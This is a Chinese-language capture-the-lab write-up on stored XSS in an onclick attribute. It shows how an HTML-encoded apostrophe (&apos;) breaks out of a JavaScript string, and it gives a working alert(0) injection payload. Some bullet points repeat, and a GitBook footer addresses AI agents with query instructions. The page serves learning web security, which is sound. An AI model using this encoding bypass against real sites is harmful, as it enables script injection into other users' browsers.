> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/stored-xss-in-onclick-with-full-encoding.md).

# 带完整编码的 onclick 中的存储型 XSS

### 存储型 XSS 注入到 onclick 事件中，尖括号和双引号经过 HTML 编码，单引号和反斜杠被转义

该实验室在评论功能中包含一个存储型 XSS 漏洞：某个字段（name/author/website）的值会被重复使用在一个 `onclick` 属性中，并经过编码—— `<` 和 `>` 尖括号和双引号会进行 HTML 编码，而单引号和反斜杠会被转义。

目的：提交一条评论以执行 `alert()` 当点击作者姓名时执行。

<figure><img src="/files/824ef6882fa2cf7ab26c68a9769d24c7c512a05c" alt=""><figcaption></figcaption></figure>

在 `网站` 页面会在该区域注入类似如下内容：

```javascript
onclick="var tracker={track(){}};tracker.track('http://test.com');"
```

单引号表示为 `&apos;` 实体。例如：

```javascript
&apos;
```

* 当 `HTTP://hack.com&apos;test` 被发送到 `&apos;` 页面时会被作为撇号处理（因此该引号在 DOM 端是存在的）。

```javascript
<p>It&apos; a wonderfull day </p>
```

<figure><img src="/files/d4808baf31ca877f2265cc83d097e63ce80869e2" alt=""><figcaption></figcaption></figure>

* 利用这样一个事实： `&apos;` 会变成撇号，从而打断 JavaScript 字符串，并注入一个计算/拼接表达式来调用 `alert()`.

<pre class="language-javascript"><code class="lang-javascript"><strong>HTTP://hack.com&#x26;apos;test
</strong></code></pre>

* 当 `HTTP://hack.com&apos;test` 被发送到 `&apos;` 页面时会被作为撇号处理（因此该引号在 DOM 端是存在的）。

<figure><img src="/files/a3f305e88f7ef9a4caaf85fb7444e38dfcb983f9" alt=""><figcaption></figcaption></figure>

* 利用这样一个事实： `&apos;` 会变成撇号，从而打断 JavaScript 字符串，并注入一个计算/拼接表达式来调用 `alert()`.

```javascript
http://hack.com&apos; + alert(0) + &apos;
```

<figure><img src="/files/6870ae075684ef9c1e5378760d3d68db95e133e0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2f8faad1363d6860bdb6ca590f8566198352824b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/stored-xss-in-onclick-with-full-encoding.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
